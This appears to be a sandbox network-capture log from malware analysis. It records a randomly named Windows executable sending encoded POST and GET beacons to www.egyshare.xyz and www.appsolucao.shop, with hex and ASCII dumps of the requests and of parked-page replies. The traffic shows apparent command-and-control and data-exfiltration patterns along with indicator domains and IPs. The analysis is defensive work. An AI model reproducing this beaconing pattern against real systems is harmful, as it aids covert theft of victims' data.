Dec 6, 2024 17:36:22.082973957 CET	778	OUT	POST /440l/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.egyshare.xyz Origin: http://www.egyshare.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 204 Referer: http://www.egyshare.xyz/440l/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 77 76 52 4c 2f 37 41 6a 6a 45 63 5a 49 4a 5a 47 53 48 64 42 7a 55 76 70 79 43 4e 67 6c 59 4f 65 53 48 45 37 73 71 4a 42 62 6d 70 67 42 33 32 50 78 6b 6a 48 4c 57 6b 33 4f 62 72 45 66 4f 54 2f 41 2b 65 77 50 30 46 47 65 4e 48 72 6d 2b 49 71 2b 56 66 48 5a 76 74 36 37 54 36 57 39 73 39 72 69 50 6c 38 6d 56 63 34 46 52 4d 35 62 4d 5a 4d 39 5a 4a 58 39 6c 6d 4c 73 41 73 33 47 74 70 31 48 33 50 30 31 6e 44 2b 34 63 38 62 68 69 42 72 6e 34 38 55 6a 70 6f 65 66 55 5a 34 42 65 49 62 71 2f 63 68 47 7a 73 57 35 2b 65 73 31 66 31 6f 6b 62 69 34 74 52 77 49 38 43 63 64 4a 78 2b 48 44 77 3d 3d Data Ascii: BHptZ6F=wvRL/7AjjEcZIJZGSHdBzUvpyCNglYOeSHE7sqJBbmpgB32PxkjHLWk3ObrEfOT/A+ewP0FGeNHrm+Iq+VfHZvt67T6W9s9riPl8mVc4FRM5bMZM9ZJX9lmLsAs3Gtp1H3P01nD+4c8bhiBrn48UjpoefUZ4BeIbq/chGzsW5+es1f1okbi4tRwI8CcdJx+HDw==
Dec 6, 2024 17:36:23.170094967 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.12	49718	13.248.169.48	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:36:24.754694939 CET	798	OUT	POST /440l/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.egyshare.xyz Origin: http://www.egyshare.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 224 Referer: http://www.egyshare.xyz/440l/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 77 76 52 4c 2f 37 41 6a 6a 45 63 5a 4f 70 70 47 56 6b 46 42 36 55 76 6f 75 53 4e 67 76 34 50 58 53 48 49 37 73 75 5a 52 62 51 35 67 42 55 69 50 79 6c 6a 48 4d 57 6b 33 47 37 72 4e 51 75 54 4b 41 2b 69 65 50 78 39 47 65 4e 37 72 6d 2f 34 71 2b 6c 6a 41 59 2f 74 38 39 54 36 55 69 38 39 72 69 50 6c 38 6d 56 49 43 46 52 45 35 61 38 4a 4d 73 49 4a 55 78 46 6d 49 72 41 73 33 43 74 70 75 48 33 50 53 31 6c 37 45 34 66 45 62 68 6a 78 72 6e 74 49 58 71 70 6f 45 43 45 5a 6f 53 4d 4a 31 6c 50 6f 7a 4c 56 51 49 33 64 2b 74 30 5a 34 79 37 70 71 75 34 53 6b 46 78 56 6c 74 45 79 44 4f 59 2b 77 30 72 47 62 64 6d 54 2b 44 78 53 50 6e 49 77 4e 67 67 42 67 3d Data Ascii: BHptZ6F=wvRL/7AjjEcZOppGVkFB6UvouSNgv4PXSHI7suZRbQ5gBUiPyljHMWk3G7rNQuTKA+iePx9GeN7rm/4q+ljAY/t89T6Ui89riPl8mVICFRE5a8JMsIJUxFmIrAs3CtpuH3PS1l7E4fEbhjxrntIXqpoECEZoSMJ1lPozLVQI3d+t0Z4y7pqu4SkFxVltEyDOY+w0rGbdmT+DxSPnIwNggBg=
Dec 6, 2024 17:36:25.845731020 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.12	49719	13.248.169.48	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:36:27.424245119 CET	1811	OUT	POST /440l/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.egyshare.xyz Origin: http://www.egyshare.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1236 Referer: http://www.egyshare.xyz/440l/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 77 76 52 4c 2f 37 41 6a 6a 45 63 5a 4f 70 70 47 56 6b 46 42 36 55 76 6f 75 53 4e 67 76 34 50 58 53 48 49 37 73 75 5a 52 62 51 78 67 42 6b 2b 50 79 47 4c 48 4e 57 6b 33 61 72 72 49 51 75 54 54 41 2b 4b 61 50 78 68 34 65 49 33 72 6d 5a 45 71 34 57 37 41 53 2f 74 38 78 7a 36 4a 39 73 39 45 69 50 31 67 6d 56 59 43 46 52 45 35 61 36 46 4d 38 70 4a 55 7a 46 6d 4c 73 41 73 7a 47 74 6f 67 48 30 2f 73 31 6a 6e 75 34 76 6b 62 69 44 68 72 6b 62 6b 58 6f 4a 6f 43 42 45 59 33 53 4d 46 32 6c 50 45 2f 4c 52 51 75 33 61 4b 74 32 73 68 59 6b 4b 32 68 6b 78 59 45 39 69 70 58 4a 31 6a 39 42 63 56 4e 74 41 72 46 70 79 43 66 36 41 61 56 59 78 59 6a 7a 55 4c 6a 64 77 44 6d 63 4f 56 70 49 70 48 33 30 44 57 62 41 73 2b 69 61 69 66 58 54 6c 61 5a 6c 52 41 6e 41 72 44 53 72 52 50 77 37 70 56 6e 65 6d 69 38 46 7a 43 62 5a 50 6e 38 4b 4e 76 56 36 75 41 37 31 41 43 50 4b 35 34 62 68 30 62 37 38 51 78 66 65 58 70 44 75 7a 33 77 50 77 36 33 53 43 2b 32 62 79 56 71 6a 53 4e 54 4d 4d 59 6c 2f 6a 2f 6f 51 51 [TRUNCATED] Data Ascii: BHptZ6F=wvRL/7AjjEcZOppGVkFB6UvouSNgv4PXSHI7suZRbQxgBk+PyGLHNWk3arrIQuTTA+KaPxh4eI3rmZEq4W7AS/t8xz6J9s9EiP1gmVYCFRE5a6FM8pJUzFmLsAszGtogH0/s1jnu4vkbiDhrkbkXoJoCBEY3SMF2lPE/LRQu3aKt2shYkK2hkxYE9ipXJ1j9BcVNtArFpyCf6AaVYxYjzULjdwDmcOVpIpH30DWbAs+iaifXTlaZlRAnArDSrRPw7pVnemi8FzCbZPn8KNvV6uA71ACPK54bh0b78QxfeXpDuz3wPw63SC+2byVqjSNTMMYl/j/oQQLaOy+MPj6lhF4RCvGLgAHJbEnMXnj1DLg4mqYOIgb0TFGwB6S6lErPEVDdkg2uWh/6E2IHFfOcy5P8bS6Z0CYO5Gawga2nr+4IurOVXu21UlOGeAWG/Lr2DFxiiQMPEWel+jiVKW7k/mXbPqJb93aDCcnqnG8wGOI/ZGrzn7LotkAeP+fgYkW3kpcVMCkWdRqDrebmFZ+vR1NGbXHk9Rv4xsM4BLSvKHhsPHF5RN028n7O+6UYbDoBE8FMyuyMR7UEBWF/vluPUip+lCaHRYYonvKae3C7F22GZ6m6XduTcw5bv4GNgjWcAam3PdEzPR0l0teSb5jJMgl7PjGNz/Mw+58AQkuJ/OpCPFRv3dPNIoap6K4FemBzDyTdRrwasaiQI6VvDS7wZXBLXbxO088TeCcx57moxuEtLU7IkEpQUxque7tC5lNFGNxtKPSq+8iWcFs4Ds9t2RntpTrhfeX7jaWMXwBme93fDr+QPP71MEjAk0MDuW0HY/w+pArNLnIjzgbRIu75zyBYtww76wceUyzkL0bkJgpEkJaijS/7unAmb78qyfBbbO3okcM8B7pg0EcLlw87yS3IZBLsXES97BYq+zLAGiht2GGMJM8h+0KMg6Mpz9e5HhyAt+8Ukm1/TSNq68u7GER4boOiQfXQdyuu4JDLGtjW [TRUNCATED]
Dec 6, 2024 17:36:28.509149075 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.12	49720	13.248.169.48	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:36:30.076904058 CET	514	OUT	GET /440l/?BHptZ6F=9t5r8PtstBUGfqpIeh5XnEiswD9luMiEeVsajtw7Z3dqDkGB8mLGChY9CqfKEaHyEvKJDzANYYXJmO8Xh0K1SfJD5xex/OhwsPZZ5DEaSUshfqY+26Bd8yM=&RZ=0nkpmZbx9Z4P2 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.egyshare.xyz Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Dec 6, 2024 17:36:31.168250084 CET	381	IN	HTTP/1.1 200 OK content-type: text/html date: Fri, 06 Dec 2024 16:36:31 GMT content-length: 260 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 42 48 70 74 5a 36 46 3d 39 74 35 72 38 50 74 73 74 42 55 47 66 71 70 49 65 68 35 58 6e 45 69 73 77 44 39 6c 75 4d 69 45 65 56 73 61 6a 74 77 37 5a 33 64 71 44 6b 47 42 38 6d 4c 47 43 68 59 39 43 71 66 4b 45 61 48 79 45 76 4b 4a 44 7a 41 4e 59 59 58 4a 6d 4f 38 58 68 30 4b 31 53 66 4a 44 35 78 65 78 2f 4f 68 77 73 50 5a 5a 35 44 45 61 53 55 73 68 66 71 59 2b 32 36 42 64 38 79 4d 3d 26 52 5a 3d 30 6e 6b 70 6d 5a 62 78 39 5a 34 50 32 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?BHptZ6F=9t5r8PtstBUGfqpIeh5XnEiswD9luMiEeVsajtw7Z3dqDkGB8mLGChY9CqfKEaHyEvKJDzANYYXJmO8Xh0K1SfJD5xex/OhwsPZZ5DEaSUshfqY+26Bd8yM=&RZ=0nkpmZbx9Z4P2"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.12	49721	84.32.84.32	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:36:36.840020895 CET	787	OUT	POST /8mlm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.appsolucao.shop Origin: http://www.appsolucao.shop Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 204 Referer: http://www.appsolucao.shop/8mlm/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 4f 71 47 65 65 44 47 36 74 74 6b 4e 49 59 73 6d 56 43 59 65 4b 45 4d 4f 43 77 38 55 70 4d 66 4e 6f 4d 4a 62 39 75 2f 34 7a 4c 2b 6a 47 33 61 56 34 76 6b 6c 4d 56 50 79 78 46 70 68 7a 66 46 50 50 2f 68 65 47 4a 77 75 51 70 6c 6f 45 5a 65 63 65 71 56 68 55 31 78 43 2b 77 62 4b 41 63 36 33 4e 51 6e 4a 4c 50 72 58 56 75 55 5a 34 6d 75 6d 77 44 4e 77 59 53 7a 44 36 79 74 61 58 6d 32 58 33 2b 5a 48 6e 56 46 33 74 76 77 2b 4f 53 4d 38 59 2b 67 55 38 49 55 67 34 48 31 73 46 4d 38 37 4c 6e 39 41 69 2b 41 55 64 2b 79 32 41 55 34 49 6a 36 79 5a 70 4e 6a 77 64 33 45 74 58 77 48 2f 44 77 3d 3d Data Ascii: BHptZ6F=OqGeeDG6ttkNIYsmVCYeKEMOCw8UpMfNoMJb9u/4zL+jG3aV4vklMVPyxFphzfFPP/heGJwuQploEZeceqVhU1xC+wbKAc63NQnJLPrXVuUZ4mumwDNwYSzD6ytaXm2X3+ZHnVF3tvw+OSM8Y+gU8IUg4H1sFM87Ln9Ai+AUd+y2AU4Ij6yZpNjwd3EtXwH/Dw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.12	49722	84.32.84.32	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:36:39.990334988 CET	807	OUT	POST /8mlm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.appsolucao.shop Origin: http://www.appsolucao.shop Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 224 Referer: http://www.appsolucao.shop/8mlm/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 4f 71 47 65 65 44 47 36 74 74 6b 4e 4a 37 30 6d 53 6a 59 65 62 30 4d 52 4e 51 38 55 6a 73 66 42 6f 4d 46 62 39 73 54 6f 7a 35 4b 6a 48 56 43 56 35 75 6b 6c 4c 56 50 79 36 6c 70 75 75 76 45 42 50 2f 64 4a 47 4d 49 75 51 70 5a 6f 45 62 47 63 5a 5a 4e 69 56 6c 77 6b 31 51 62 55 45 63 36 33 4e 51 6e 4a 4c 50 75 41 56 75 63 5a 34 56 6d 6d 2f 47 74 7a 53 79 7a 4d 73 69 74 61 54 6d 32 54 33 2b 5a 68 6e 58 67 63 74 71 73 2b 4f 57 41 38 59 71 30 58 31 49 56 6c 38 48 31 79 47 5a 52 49 4d 48 74 2f 6a 64 38 71 51 76 4b 70 42 53 31 53 38 49 36 50 38 4f 33 39 51 67 39 64 61 7a 36 32 59 37 65 57 54 47 4f 4e 65 50 55 2b 72 39 6a 79 4b 32 78 68 6a 54 67 3d Data Ascii: BHptZ6F=OqGeeDG6ttkNJ70mSjYeb0MRNQ8UjsfBoMFb9sToz5KjHVCV5uklLVPy6lpuuvEBP/dJGMIuQpZoEbGcZZNiVlwk1QbUEc63NQnJLPuAVucZ4Vmm/GtzSyzMsitaTm2T3+ZhnXgctqs+OWA8Yq0X1IVl8H1yGZRIMHt/jd8qQvKpBS1S8I6P8O39Qg9daz62Y7eWTGONePU+r9jyK2xhjTg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.12	49723	84.32.84.32	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:36:42.660023928 CET	1820	OUT	POST /8mlm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.appsolucao.shop Origin: http://www.appsolucao.shop Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1236 Referer: http://www.appsolucao.shop/8mlm/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 4f 71 47 65 65 44 47 36 74 74 6b 4e 4a 37 30 6d 53 6a 59 65 62 30 4d 52 4e 51 38 55 6a 73 66 42 6f 4d 46 62 39 73 54 6f 7a 35 53 6a 48 6d 4b 56 34 4a 51 6c 4b 56 50 79 68 46 70 74 75 76 46 64 50 2f 30 68 47 4d 30 2b 51 76 56 6f 45 34 4f 63 63 6f 4e 69 4d 31 77 6b 36 77 62 4a 41 63 36 6d 4e 52 58 4e 4c 4d 47 41 56 75 63 5a 34 56 4b 6d 32 7a 4e 7a 55 79 7a 44 36 79 74 65 58 6d 32 37 33 34 77 61 6e 58 31 6e 74 65 67 2b 4f 79 73 38 64 66 67 58 30 6f 56 6e 37 48 30 68 47 5a 56 58 4d 48 77 4f 6a 63 49 41 51 76 79 70 42 58 46 4a 76 35 2b 73 72 4f 50 42 58 54 6f 79 54 55 71 7a 55 70 2b 53 64 33 4b 51 63 50 73 70 7a 39 4f 58 65 55 70 2f 69 56 68 2b 37 6e 74 4f 59 70 2f 64 72 67 75 65 35 48 50 63 4f 7a 63 59 52 6d 4d 71 50 67 42 59 31 6b 53 6a 6a 34 44 54 70 4e 73 7a 74 37 67 67 72 68 64 33 2f 4e 78 65 59 49 54 79 39 31 44 62 75 56 49 7a 4e 4b 68 59 2b 36 4b 4b 2b 78 65 62 6f 42 36 44 48 38 45 2b 42 52 58 30 31 39 4a 45 50 76 79 66 35 42 56 48 7a 6d 6f 5a 79 72 58 6e 37 74 33 58 6a 31 [TRUNCATED] Data Ascii: BHptZ6F=OqGeeDG6ttkNJ70mSjYeb0MRNQ8UjsfBoMFb9sToz5SjHmKV4JQlKVPyhFptuvFdP/0hGM0+QvVoE4OccoNiM1wk6wbJAc6mNRXNLMGAVucZ4VKm2zNzUyzD6yteXm2734wanX1nteg+Oys8dfgX0oVn7H0hGZVXMHwOjcIAQvypBXFJv5+srOPBXToyTUqzUp+Sd3KQcPspz9OXeUp/iVh+7ntOYp/drgue5HPcOzcYRmMqPgBY1kSjj4DTpNszt7ggrhd3/NxeYITy91DbuVIzNKhY+6KK+xeboB6DH8E+BRX019JEPvyf5BVHzmoZyrXn7t3Xj128Q8OawJ1+PjCmrCegy+9Wa6KCcX2qMVrwKJ6zCCHX7365zlhzY4nx95gZ/H6G38J6RMZAawOgqgs9k2mme0UiaSniUeRLT9YgEGVYs8v6wEdvz5eIHQ2jwbQdLjQl9d7GOjOVnWC6aUzHnc9fC4M6q5GX3JUH+XnvHAkO9uvTQU+Es+LeEqHNapZHpQw0tSGaci1xmwkIV5vcfrFug/Qz3CDRx1ovu8YczgUcYmdzW7Q+Z1I5E1Bc9K49lhNvoeo61LLwf2YShtLsSj4XO2kz0wTdFyi74dojgwEgAU71tcHuV969sNiA0XVr+JdaHJi3blpmfpWLEXNxwNilubS06IwAQXd4EzQyyYG0fHD+A4ZdiIjR4ia7azPKV/h+x/3WsD1h0Yz5/tucFIULDjr/pKFyUjpVd3ZBV/WUt6IpQKeuOlbTDm6UPEVIV3oAWEr7W5JX1W/PJ8uFqlh8EnRRMVWjC9hCYz2KAb9/6j5tGTAA45vNK6p77YcTtJLosPdoxiC49H8DGQpsAj033yB/cq161DNxDcMaIZjXzmVRSEYzbrC/Hq5uRkRGQL2x0VYUyZdveWzNxrf+Vqw/zpNSZDtMfVV9NCrhK3OR/6bA1Xafhkwbu1kUCor9oqBh2PIf7CplcABQjAjv74PpUugAvaBAJNVm+nGR [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.12	49724	84.32.84.32	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:36:45.312066078 CET	517	OUT	GET /8mlm/?BHptZ6F=Dou+d174n903Q5s8eGVlbncTBC0Rpufru8Nex+2NzpzCLkW84PIBEnPU/VIOuudaHO13J+F+WsJAELWMIa4GeHkI0XjsMpOmPR3vOajhWYhkzVz3w31CV1o=&RZ=0nkpmZbx9Z4P2 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.appsolucao.shop Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Dec 6, 2024 17:36:46.399652958 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 16:36:46 GMT Content-Type: text/html Content-Length: 9973 Connection: close Vary: Accept-Encoding Server: hcdn alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: b62d18ce018024e44e3d29ce9446af42-bos-edge3 Expires: Fri, 06 Dec 2024 16:36:45 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f [TRUNCATED] Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"O
Dec 6, 2024 17:36:46.399677038 CET	1236	IN	Data Raw: 70 65 6e 20 53 61 6e 73 22 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 3b 62 61 63 Data Ascii: pen Sans",Helvetica,sans-serif;color:#000;padding:0;margin:0;line-height:1.428;background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:30px;font-weight:600!
Dec 6, 2024 17:36:46.399691105 CET	1236	IN	Data Raw: 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 35 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 35 70 78 7d 2e 6e 61 76 62 61 72 2d 6e 61 76 3e 6c 69 3e 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 63 Data Ascii: ;font-size:13px;padding-left:5px;padding-right:5px}.navbar-nav>li>a:hover{text-decoration:none;color:#cdc3ea!important}.navbar-nav>li>a i{margin-right:5px}.nav-bar img{position:relative;top:3px}.congratz{margin:0 auto;text-align:center}.top-co
Dec 6, 2024 17:36:46.399732113 CET	1236	IN	Data Raw: 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 2d 69 6e 76 65 72 73 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 Data Ascii: :#fff!important}.navbar{border-radius:0!important}.navbar-inverse{background-color:#36344d;border:none}.column-custom-wrap{padding-top:10px 20px}.badge{font-size:12px;line-height:16px;min-height:20px;min-width:20px;vertical-align:middle;text-a
Dec 6, 2024 17:36:46.399786949 CET	1236	IN	Data Raw: 3d 31 32 30 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 6c 61 70 73 65 20 6e 61 76 62 61 72 2d 63 6f 6c 6c 61 70 73 65 22 20 69 64 3d 6d 79 4e 61 76 62 61 72 3e 3c 75 6c 20 63 6c 61 73 73 3d 22 6e 61 76 20 6e 61 Data Ascii: =120></a></div><div class="collapse navbar-collapse" id=myNavbar><ul class="nav navbar-links navbar-nav navbar-right"><li><a href=https://www.hostinger.com/tutorials rel=nofollow><i aria-hidden=true class="fas fa-graduation-cap"></i> Tutorials
Dec 6, 2024 17:36:46.399799109 CET	1236	IN	Data Raw: 73 3d 63 6f 6c 75 6d 6e 2d 74 69 74 6c 65 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 38 70 78 3e 42 75 79 20 77 65 62 73 69 74 65 20 68 6f 73 74 69 6e 67 20 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 Data Ascii: s=column-title><span style=margin-right:8px>Buy website hosting </span><span class=badge>Save 90%</span></div><br><p>Extremely fast, secure and user-friendly website hosting for your successful online projects.</p><br><a href=https://www.hosti
Dec 6, 2024 17:36:46.399811983 CET	1236	IN	Data Raw: 64 65 41 74 28 74 2b 2b 29 29 29 29 7b 69 66 28 65 3d 6f 2e 63 68 61 72 43 6f 64 65 41 74 28 74 2b 2b 29 2c 35 35 32 39 36 21 3d 28 36 34 35 31 32 26 72 29 7c 7c 35 36 33 32 30 21 3d 28 36 34 35 31 32 26 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 Data Ascii: deAt(t++)))){if(e=o.charCodeAt(t++),55296!=(64512&r)\|\|56320!=(64512&e))throw new RangeError("UTF-16(decode): Illegal UTF-16 sequence");r=((1023&r)<<10)+(1023&e)+65536}n.push(r)}return n},encode:function(o){for(var r,e=[],n=0,t=o.length;n<t;){i
